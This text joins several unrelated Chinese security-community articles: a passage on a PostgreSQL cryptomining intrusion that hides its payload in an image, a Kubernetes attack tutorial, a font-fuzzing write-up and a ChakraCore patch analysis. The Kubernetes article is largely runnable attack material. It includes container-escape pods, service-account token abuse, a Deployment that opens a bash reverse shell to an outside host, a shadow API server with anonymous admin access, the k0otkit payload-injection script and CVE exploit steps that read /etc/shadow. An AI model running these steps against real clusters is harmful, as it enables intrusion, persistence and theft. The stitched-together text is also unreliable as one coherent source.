接下来，攻击者就可以通过一个简单的函数fun6440002537来执行本地的系统命令了。这个SQL函数是一个调用C语言函数的包装函数，而“sys_eval”则是从“tmp406001440”（一个基于sqlmapproject的二进制文件）中导出的一个小型函数，可以充当从SQL客户端调用shell命令的代理。
那么，攻击者接下来做了什么呢？侦查。首先，通过执行lshw -c video命令来获取GPU的详细信息，然后，通过运行 cat
/proc/cpuinfo来获取CPU的详细信息（见图3-4）。刚开始，您也许摸不着头脑，他们这是要干嘛？但别忘了，这群攻击者的最终目的可是挖掘加密数字货币啊，所以检测这些计算资源方面的信息是再正常不过了。
Figure 3:检测GPU 信息
Figure 4: 检测CPU 信息
到目前为止，攻击者已经拿下了数据库的访问权限，建立了远程代码执行路径，并绕过了DAM检测，同时，还掌握了系统的许多细节。换句话说，已经为下载Scarlett
Johansson的照片做好了充分的准备？！等等，什么情况？
**0x03 将恶意payload伪装成Scarlett Johansson照片**
* * *
我不得不说，现在的攻击者是越来越有创意了。
在这个例子中，攻击者想要下载最新的恶意代码的时候，他们会将其作为图像上传到imagehousing.com网站中（这是一个供人们免费托管和共享图像的合法网站）。但是，payload是二进制格式，而不是图片格式啊？如果改写二进制文件的扩展名，将其设为图像文件扩展名的话，是否能够成功上传至图像托管网站呢？很遗憾，答案是否定的，原因很简单，因为它既非有效的图片，也不是可见的图片，因此也就没有相应的预览和图片了。相反，如果攻击者不是修改文件扩展名，而是直接将恶意二进制代码添加到美丽动人的Scarlett
Johansson的真实照片中（图5）的话，那么不仅可以成功上传图片，而且该图片还能正常显示——不过，虽然看上去一切正常，照片里面却隐藏着攻击者的恶意payload。
图5：payload。打开这张照片时，基本看不出有什么异常。不用担心，本文中的图片是非常“干净”的，这一点毋庸置疑！
您能看出二进制代码在哪里吗？实际上，这些代码就位于她的左肘下方！
我们已经将这个安全问题通告了imagehousing.com网站，目前该图像已被删除。
**0x04 从下载图片到挖门罗币**
* * *
下载带有payload的图片（art-981754.png）的时候，可以借助wget程序来轻松完成。然后，就可以使用dd（data
duplicator）命令从图片中提取可执行文件并设置执行权限了，也就是为新创建的文件x4060014400设置完全权限（chmod
777）。最后一步，就是运行这个刚提取的payload，这些操作都是通过SQL命令完成的，具体如下所示：
图6：通过SQL下载图片，然后从中提取二进制payload并执行
文件x4060014400会创建另一个可执行文件，即s4060014400。这个可执行文件的作用是通过域名为<https://monero.crypto-pool.fr/，IP地址为163.172.226.218（图7）的矿池来挖门罗币。迄今为止，攻击者钱包中的门罗币已超过312.5个，市值超过90,000美元，该钱包的地址是：>
4BBgotjSkvBjgx8SG6hmmhEP3RoeHNei9MZ2iqWHWs8WEFvwUVi6KEpLWdfNx6Guiq5451Fv2SoxoD7rHzQhQTVbDtfL8xS
图7：启动门罗币挖矿的SQL语句
当然，完成上述任务后，它会清除自己的踪迹：
图8：清理文件
从攻击者的角度来看：任务已经顺利完成了！
**0x05 防病毒软件能识别这些恶意图片吗？**
* * *
通过Google的VirusTotal，我们使用近60种杀毒软件对这次攻击中挖矿代码的三种不同形式（恶意图像的URL、恶意图像和挖矿代码）进行了安全检测，结果如下：
* 托管恶意图像的URL：有1个防病毒软件提示为恶意软件（图9）
* 恶意图像：有3个防病毒软件发出安全提示（图10）
* 从恶意图像中提取的挖矿代码：有18个防病毒软件发出安全提示（图11）
图9：有1个防病毒软件检测出恶意URL
图10：有3种防病毒软件检测到恶意图片
图11：有18个防病毒软件检测到加密货币挖矿代码
虽然这种通过将二进制代码添加到合法文件（图像、文档）来创建“变异”文件的技巧由来已久，但它仍然能够绕过大多数防病毒软件，这的确令人震惊不已。
创建这种"变异"文件实际上非常简单：
Linux系统： cat myExecutableFile >> myImageFile.png
Windows系统： type myExecutableFile.exe >> myImageFile.png
**0x06 攻击者如何寻找PostgreSQL数据库呢？**
* * *
如果攻击者已经位于本地网络中的话，那么就可以通过Nmap之类的探测工具来找出域中的PostgreSQL实例了。但是，是否存在更易于发现的目标呢？
比如，对外公开的PostgreSQL数据库怎么样？如果有的话，那自然是好，不过问题是，真的有这样的数据库吗？辛运的是，答案是肯定的，其中至少有710,000台符合这种要求的主机托管在AWS上（图12）。实际上，通过[Shodan](https://www.shodan.io/
"Shodan")在线服务就可以轻而易举地找到它们，这跟使用谷歌搜索一样简单。所以，攻击者可以轻松找到这些攻击目标，然后通过暴力破解来猜测默认的postgres用户的密码，一旦得手，就可以进一步应用我们所介绍的那些数据库攻击技术了。
图12：具有公共IP地址的710000个 PostgreSQL实例（图片取自shodan.io网站）
我们将在本系列的下一篇文章中进一步讨论其他的数据库攻击技术，并在最后一篇文章中全面介绍针对这些攻击的缓解措施。但对于本文介绍的攻击而言，下面的提示能够帮您避免中招：
* 留意lo_export的直接调用或通过pg_proc中的条目进行的间接调用
* 留意调用C语言二进制文件的函数（如图2所示）
* 使用防火墙阻止从数据库向Internet传输的网络流量
* 确保数据库未分配公共IP地址。如果已经分配公共IP地址，则限定可以与其交互的主机（应用程序服务器或DBA的客户端） | 社区文章 |
随着越来越多企业开始上云的步伐，在攻防演练中常常碰到云相关的场景，例如：公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 ->
权限维持 -> 信息收集 -> 横向移动 ->
循环收集信息」，直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局，也打开了新的入侵路径，例如：
* 通过虚拟机攻击云管理平台，利用管理平台控制所有机器
* 通过容器进行逃逸，从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
* 利用KVM-QEMU/执行逃逸获取宿主机，进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多，仅有一些厂商发布过相关矩阵技术，但没有过多的细节展示，本文基于微软发布的Kubernetes威胁矩阵进行扩展，介绍相关的具体攻击方法。
**红色标志是攻击者最为关注的技术点。**
## 初始访问
* API Server未授权访问
* kubelet未授权访问
* Docker Daemon 公网暴露
* K8s configfile 泄露
### API Server未授权访问
API Server作为K8s集群的管理入口，通常使用 8080 和 6443 端口，其中 8080 端口无需认证，6443 端口需要认证且有TLS
保护。如果开发者使用 8080 端口，并将其暴露在公网上，攻击者就可以通过该端口的API，直接对集群下发指令。
另一种场景是运维人员配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
```css
#查看pods
<https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500>
# 创建特权容器
<https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444>
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
# 执行命令
<https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami>
创建特权容器详细解释：
创建特权容器
### K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息（API Server、登录凭证）。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github 的代码等)，就可以直接通过 API Server 接管 K8s 集群，带来风险隐患。
用户凭证保存在 kubeconfig 文件中，kubectl 通过以下顺序来找到 kubeconfig 文件：
1.如果提供了--kubeconfig参数，就使用提供的 kubeconfig 文件。
2.如果没有提供--kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件。
3.如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
拿到K8s configfile完整利用流程：
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
```css
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项，需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml，将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash，逃逸成功
cd /host
chroot ./ bash
### Docker Daemon 公网暴露
Docker以C/S模式工作，其中docker daemon服务在后台运行，负责管理容器的创建、运行和停止操作。
在Linux主机上，docker daemon监听在/var/run/docker.sock中创建的unix
socket，2375端口用于未认证的HTTP通信，2376用于可信HTTPS通信。
在最初版本安装Docker时默认会把2375端口对外开放，目前默认只允许本地访问。
管理员开启远程访问的配置如下：
#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
Docker Daemon未授权访问的检测与利用：
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推荐使用这种方式，操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授权实战案例：
## 执行
* 利用Service Account
* CURL方式请求
* kubectl方式请求
### 利用Service Account
K8s集群创建的Pod中，容器内部默认携带K8s Service
Account的认证凭据，路径为：(/run/secrets/kubernetes.io/serviceaccount/token)
如运维配置不当没有设置RBAC（基于角色的访问控制）,那么攻击者就可以通过Pod获取到Token进行API Server认证。
在较低版本v1.15.11中,Kubernetes默认是不会开启RBAC控制，从1.16版本起，默认启用RBAC访问控制策略。从1.18开始，RBAC已作为稳定的功能。
下面就是利用Pod中的Token访问API Server的一种场景：
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#写入yaml,创建特权Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
#创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true
## 持久化
* DaemonSets、Deployments
* Shadow API
* Rootkit
* cronjob持久化
Deployment
创建容器时，通过启用DaemonSets、Deployments，可以使容器和子容器即使被清理掉了也可以恢复，攻击者经常利用这个特性进行持久化，涉及的概念有：
* ReplicationController（RC）
ReplicationController确保在任何时候都有特定数量的 Pod 副本处于运行状态。
* Replication Set（RS）
Replication
Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector
* Deployment
主要职责和RC一样，的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
这里使用Deployment来部署后门
#dep.yaml
apiVersion: apps/v1
kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本数量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反弹Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true #特权模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#创建
kubectl create -f dep.yaml
### Shadow API Server
如果部署了一个shadow api server，那么该api server具有和集群中现在的api
server一致的功能。同时开启了全部k8s权限，接受匿名请求且不保存审计日志，这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。
Shadow API Server的配置与利用：
配置文件路径：
/etc/systemd/system/kube-apiserver-test.service
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
#一键部署将在配置文件中添加了如下选项：
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl访问与利用
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
### Rootkit
这里介绍一个k8s的rootkit，k0otkit 是一种通用的后渗透技术，可用于对 Kubernetes 集群的渗透。使用
k0otkit，您可以以快速、隐蔽和连续的方式（反向 shell）操作目标 Kubernetes 集群中的所有节点。
K0otkit使用到的技术：
* DaemonSet和Secret资源（快速持续反弹、资源分离）
* kube-proxy镜像（就地取材）
* 动态容器注入（高隐蔽性）
* Meterpreter（流量加密）
* 无文件攻击（高隐蔽性）
```css
#生成k0otkit
./pre_exp.sh
# 监听
./handle_multi_reverse_shell.sh
k0otkit.sh的内容复制到master执行：
```css
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f - apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
### cronjob持久化
CronJob 用于执行周期性的动作，例如备份、报告生成等，攻击者可以利用此功能持久化。
apiVersion: batch/v1
kind: CronJob #使用CronJob对象
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分钟执行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反弹Shell或者木马
restartPolicy: OnFailure
## 权限提升
* 特权容器逃逸
* Docker漏洞
* Linux Capabilities逃逸
### 特权容器逃逸
当容器启动加上--privileged选项时，容器可以访问宿主机上所有设备。
而K8s配置文件启用了privileged: true:
```css
spec:
containers:
* name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
实战案例：
通过漏洞获取WebShell，查看根目录存在.dockerenv，可通过fdisk -l查看磁盘目录，进行挂载目录逃逸:
```css
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
### Docker漏洞
这里介绍两个知名的docker逃逸漏洞。
#### CVE-2020-15257
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本，使用了--host网络模式，会造成containerd-shim
API暴露，通过调用API功能实现逃逸。
Host模式特点：
* 共享宿主机网络
* 网络性能无损耗
* 各容器网络无隔离
* 网络资源无法分别统计
* 端口管理困难
* 不支持端口映射
#判断是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'
#反弹宿主机的shell到远端服务器
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
#### CVE-2019-5736
当runc动态编译时，会从容器镜像中载入动态链接库，导致加载恶意动态库；当打开/prco/self/exe即runc时，会执行恶意动态链接库中的恶意程序，由于恶意程序继承runc打开的文件句柄，可以通过该文件句柄替换host上的runc。
此后，再次执行runc相关的命令，则会产生逃逸。
版本漏洞：
docker version <=18.09.2
RunC version <=1.0-rc6
利用过程：
#下载POC
https://github.com/Frichetten/CVE-2019-5736-PoC
#编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
利用成功是将/etc/shadow文件复制到/tmp/目录下
#将编译的main复制到docker容器中，实战是用WebShell上传
docker cp main name:/home
cd /home/
chmod 777 main
./main
#此时等管理员进入容器将触发：
或将第16行改为反弹Shell，获得宿主机权限。
### Capabilities
Capabilities是Linux一种安全机制，是在Linux内核2.2之后引入的，主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。
目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。
#查看Capabilities
cat /proc/self/status | grep CapEff
capsh --print
Capabilities允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等
* cap_sys_ptrace-container
* cap_sys_admin-container
* cap_dac_read_search-container
实际场景不多，逃逸方法参考挂载目录方式。
## 探测
* 内网扫描
* K8s常用端口探测
* 集群内部网络
### 集群内网扫描
Kubernetes的网络中存在4种主要类型的通信
* 同一Pod内的容器间通信
* 各Pod彼此间通信
* Pod与Service间的通信
* 集群外部的流量与Service间的通信。
所以和常规内网渗透无区别，nmap、masscan等扫描
### K8s常用端口探测
### 集群内部网络
* Flannel网络插件默认使用10.244.0.0/16网络
* Calico默认使用192.168.0.0/16网络
## 横向移动
* 污点(Taint)横向渗透
### 污点(Taint)横向渗透
污点是K8s高级调度的特性，用于限制哪些Pod可以被调度到某一个节点。一般主节点包含一个污点，这个污点是阻止Pod调度到主节点上面，除非有Pod能容忍这个污点。而通常容忍这个污点的
Pod都是系统级别的Pod，例如kube-system
**—个pod只有容忍了节点的污点，才能被调度到该节点上面**
#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.131 Ready node 30d v1.21.0
192.168.238.132 Ready node 30d v1.21.0
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name: 192.168.238.130
Roles: master
Labels: beta.kubernetes.io/arch=amd64
beta.kubernetes.io/os=linux
kubernetes.io/arch=amd64
kubernetes.io/hostname=192.168.238.130
kubernetes.io/os=linux
kubernetes.io/role=master
Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
flannel.alpha.coreos.com/backend-type: vxlan
flannel.alpha.coreos.com/kube-subnet-manager: true
flannel.alpha.coreos.com/public-ip: 192.168.238.130
node.alpha.kubernetes.io/ttl: 0
volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800
Taints: node.kubernetes.io/unschedulable:NoSchedule
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
#control-master.yaml内容：
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
#获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
## 结论
* 目前黑产团伙通过批量扫描然后利用未授权进行挖矿。
* 当前攻防技术处于初级阶段，但随着云原生攻击武器的发展，攻击门槛也会相应降低。
* 虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式，将会呈现出快速增长的趋势，此类攻击难度很高，带来的危害和影响也很大。
* 私有云部署在企业业务生产网，云的底座网络、物理设备与业务网络在同一安全域，大多时候缺乏有效隔离。
* 私有云产品属于定制开发，使用大量第三方组件，会随着时间和安全研究人员的研究而暴露。
* * *
参考链接：
1.TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like
Attack
<https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html>
2.Threat matrix for Kubernetes
<https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/>
3.Kubernetes Attack Surface
<https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface>
4.Attack methods and defenses on Kubernetes
<https://dione.lib.unipi.gr/xmlui/handle/unipi/12888>
5.k0otkit
<https://github.com/Metarget/k0otkit>
6.CVE-2019-5736-Poc
<https://github.com/Frichetten/CVE-2019-5736-PoC>
7.修复Docker操作系统命令注入漏洞公告（CVE-2019-5736）
<https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html> | 社区文章 |
**作者：SungLin@知道创宇404实验室
时间：2021年6月25日**
### 概述
为啥叫傻瓜式fuzzing呢，可能我觉得吧，一步一步从最初始的部分去探索和研究将会很好玩，不过有时候也会很难（遇到问题的时候），但是解决每一个问题都会有小小的成就感，继续激励前行，坚持下去总会有收获的，我会把我对fuzzing的探索与研究做成一系列的paper，希望大家同样觉得很好玩，have
fun。
### 0x00 探索与学习
在2020年的年终时候，我在知乎上对2020年的开源fuzzing做了一些总结与些许研究，一个开源的研究与项目叫FormatFuzzer[1]，这个项目的出现，让我想起了aflsmart[2]的开源fuzzing项目，两者都是类似的文本结构fuzzing，和aflsmart不同的是FormatFuzzer项目还处于开发阶段，通过我对aflsmart
fuzzing项目的熟悉（我用aflsmart挖了不少漏洞），我决定以Formartfuzzer为契机来做一些有意思的事情，可能我觉得有意思就行,hhhhh
### 0x01 Formartfuzzer
Formartfuzzer fuzzing我就不做过多介绍了，简单的来说，它就是以010
Editor众多结构模板为基础来生成与构造所需的各种结构数据，再通过对数据做一些变异算法来生成最终的畸形数据，Formartfuzzer
现在支持结构有:avi、bmp、gif、jpg、midi、mp3、mp4、pcap、png、wav、zip等，作者们还在继续编写中，既然010
Editor支持上百种结构，而这里只有10多个呢，因为010 Editor只是一个做了解析的软件，而Formartfuzzer
不仅做了解析，而且通过模板结构生成了可用的相关结构数据，所以没法直接使用010 Editor的模板，还需要做很多工作，再熟悉了Formartfuzzer
后，我决定自己修改一种模板结构，我将目标定为了ttf结构，这是一种字体结构，可以说字体结构也是相当复杂了，并且选择字体也和我最近的工作有些许联系。
### 0x02 ttf结构模板的修改与定义
ttf结构的描述可以参考苹果或者微软的链接，这里我们参考苹果的链接[3]，ttf结构主要是以众多的table表构成，每个table表直接有相关的联系，所有的table表加起来有大概40多个，在苹果字体的描述中，以下的几个table表是必须构成字体的9个table表：
也就是说，想要生成一个可以被正常解析的字体，至少得定义以上9个table表，在010 Editor中，原始的ttf.bt大概解析了以下几个表：
生成字体必须的9个table表已经有了，但是像以上的定义是不能用的，经过我的简单研究tff的结构其实和png的结构框架是非常相似的，和png的chunk对应的是tff的table,少许不一样的是tff有个定义了所用到的table的头部，而这个头部包含了Tag、offset、length等关键结构，我将会简单介绍几个重要的table表和修改。
第一步，我将会随机生成table表，而这些table表将会包含9个重要的table表，通过其定义ReadBytes api能实现：
第二步，随机生成table表后将会获取到table表的数量和具体的table，这样就可以去生成具体的table格式，获取实际的offset、length了，其中IO操作主要有FTell()和FSeek，这样就可以随时定位到指定位置修改数值了：
第三步，定义maxp、loca、glyf：
maxp的定义很简单，基本没变
定义好maxp后，就可以获取到maxp.numGlyphs的个数了
有了Glyph的个数后，就可以定义loca表了，而loca表包含了每个Glyph的偏移offset
最后就可以定义glyf表了，tglyf结构体主要由tSimpleGlyph结构体构成，tSimpleGlyph结构体包含了tSimpleGlyphFlags和tSimpleGlyphPoints，在这里主要注意的是offset和length的计算，并且最后一定要把IO流定位到数据末尾
这里每次获取到tSimpleGlyph的长度后，得重新定位到loca表设置正确的offset，这样才能生成能够被解析的结构
之后定义好tSimpleGlyphFlags和tSimpleGlyphPoints就行了。
### 0x03 生成字体
上一节简单介绍了table表的定义与字体的一些结构组成，通过正确定义好了必须的9个tabel表和其他特殊的table表后，通过项目自带的ffcompile将定义好的bt模板生成cpp文件，一般情况会有很多错误，直到调试到正确为止，我自己修改好的ttf模板可以生成正确的字体了，编译的命令如下:
1、生成ttf.cpp
./ffcompile templates/ttf.bt ttf.cpp
2、生成.o文件
g -c -I . -std=c17 -g -O3 -Wall tff.cpp
这里介绍生成器fuzzer.cpp主要调用了generate_file()
生成的ttf.cpp中，generate_file翻译了bt中我定义的结构主体，而这些api都可以找到，所以后面可以去优化和扩展自己的功能等。
3、编译fuzzer.cpp
g -c -I . -std=c17 -g -O3 -Wall fuzzer.cpp
4、最后链接ttf和fuzzer生成ttf-fuzzer：
g++ -O3 ttf.o fuzzer.o -o ttf-fuzzer -lz
最后通过ttf-fuzzer生成字体，在macos中，打开是这样的：
好了，字体生成成功。
### 0x04 开启fuzzing
既然字体生成成功了，那就开始试水了噻，我打算直接fuzz macos自带的字体册/System/Applications/Font
Book.app/Contents/MacOS/Font Book，我写了个简单的启动shell：
通过这个shell能直接打开生成的字体。。。。
但是这样没法检测crash，还不算fuzzing。
稍加修改后，我弄了个简单的代码如下：
这样就可以检测到crash了，虽然很简单哈哈
之后重新修改shell脚本，修改后如下：
好了，虽然很简单，但是可以跑起来了。
### 0x05 傻瓜fuzzing系列一
经过了200000次fuzzing，大概花了12个小时还要多，虽然没仔细统计，结果如下：
哈哈哈，牛逼哇，就这都能搞崩。
这次的fuzzing系列就到这了哈，后面我会慢慢分享我的fuzzing研究与探索，尽请期待傻瓜fuzzing系列。
### 0x06 参考链接
1、<https://uds-se.github.io/FormatFuzzer/>
2、<https://github.com/aflsmart/aflsmart>
3、<https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6.html>
* * * | 社区文章 |
# Chakra漏洞调试笔记6-从补丁分析到发现0day
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
****
这个漏洞是笔者在2019年12月分析ChakrCore漏洞补丁时发现的。笔者第一时间将触发漏洞的PoC和任意地址读写的exp提交给了微软。微软很快承认了该漏洞并表示会修复。今年3月笔者发现该漏洞已经在ChakraCore
v1.11.17版本中被修复，但遗憾的是并未分配相应CVE号。考虑到该漏洞已经在最新的Edge浏览器中被修复，笔者在这里将漏洞发现的思路分享给大家。由于笔者水平有限，文中错误之处恳请斧正。
## 0x0 补丁分析
ChakraCore针对CVE-2019-1308修复的代码中有一行引起了笔者的注意（commit：64376deca69126c2bb05cd87bd5c073aedaf5f9c）：
修复代码来自函数GlobOpt::FinishOptPropOp。GlobOpt::FinishOptPropOp是JIT在Forward阶段针对对象属性操作的优化函数。对于目标操作数，其主要逻辑如下：
通过源码注释知道：对于对象属性的存储操作，可能会修改对象的内存布局，因此需要两个去优化操作保证JIT代码的安全：
1. 将可能添加属性的对象symbol加入maybeWrittenTypeSyms，后面会根据maybeWrittenTypeSyms增加类型检查
2. Kill有object-header-inlined的symbol
对于1）的去优化，补丁前的条件是if (!isObjTypeChecked)，补丁后的条件是if (!isObjTypeSpecialized ||
opnd->IsBeingAdded())。这两个条件的区别是什么呢，修补后是否会引入新的问题呢？
首先从变量的字面意思可以猜到isObjTypeChecked是指对象类型已经做过类型检查，isObjTypeSpecialized是指对象类型已经被定义，opnd->IsBeingAdded()是指属性操作数正在被添加。其中isObjTypeChecked和isObjTypeSpecialized变量由函数GlobOpt::ProcessPropOpInTypeCheckSeq确定：
